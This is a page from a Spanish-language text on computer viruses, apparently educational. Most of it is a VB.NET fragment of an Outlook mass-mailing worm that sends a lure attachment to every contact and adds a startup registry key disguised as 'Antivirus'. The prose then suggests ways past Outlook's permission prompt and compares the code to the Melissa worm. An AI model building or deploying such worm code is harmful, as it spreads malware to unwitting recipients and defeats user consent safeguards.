Page 31 - Virus Informaticos

___________________________________________________________________________Virus
oCt = oItems.GetFirst()
'Recorremos todos los contactos enviando uno por uno los datos
For i = 0 To (oItems.Count() - 1)
Try
oMsg = oApp.CreateItem(Outlook.OlItemType.olMailItem)
'Ponemos un asunto atractivo ☺
oMsg.Subject = "quiero conocerte, te acuerdas de mi?"
'Un texto adecuado
oMsg.Body = "Texto" & vbCr & vbCr
sBodyLen = oMsg.Body.Length
'Adjuntamos
oMsg.Attachments.Add(sSource, , sBodyLen + 1, sDisplayName)
'La direccion a enviar sera la del contacto correspondiente de
'la libreta de direcciones
oMsg.To = oCt.Email1Address

'Enviamos el email :)
oMsg.Send()
'Obtenemos el siguiente contacto
oCt = oItems.GetNext()
Catch ex As Exception

End Try
Next

'Colocamos dicho programa en el arranque del sistema
Try
Dim runK As RegistryKey =
Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\Current
Version\Run", True)
runK.SetValue("Antivirus", "RUTA")
Catch ex As Exception

End Try

End Sub

Como se puede observar una persona con no demasiados conocimientos podría escribir este
código. Actualmente este código no funciona, (mirar (1)), ya que cuando accedemos a la agenda
de direcciones para obtener los contactos se produce una excepción en la cual pierde el control el
programa y lanza un mensaje de aviso en el cual pregunta sobre si permitir o no el acceso a dichos
datos. Este código se programó en aproximadamente media hora, pero se nos ocurren diferentes
métodos para solucionarlo, se podría capturar la llamada a la api y manejar desde el código dicha
ventana de aviso o realizar tunneling o simplemente mediante “ingeniería” social en el texto del
email “convencer” al receptor de que ese mensaje es lógico y debe aceptarlo para recibir la
imagen.

En ejemplo real y similar al anterior fue el gusano Melissa. Fue liberado en Marzo de 1999 y en
aquel momento no existía control sobre el acceso a los contactos de Outlook. A pesar de que este
virus no realiza ningún efecto dañino contra el sistema, sí tiene efectos secundarios sobre el
propio sistema ya que disminuye el rendimiento al estar enviando emails, lo que provoca que la
velocidad del tráfico de la red se vea seriamente afectado, provocando grandes pérdidas en las
empresas en las que su negocio dependa de internet.

Página | 34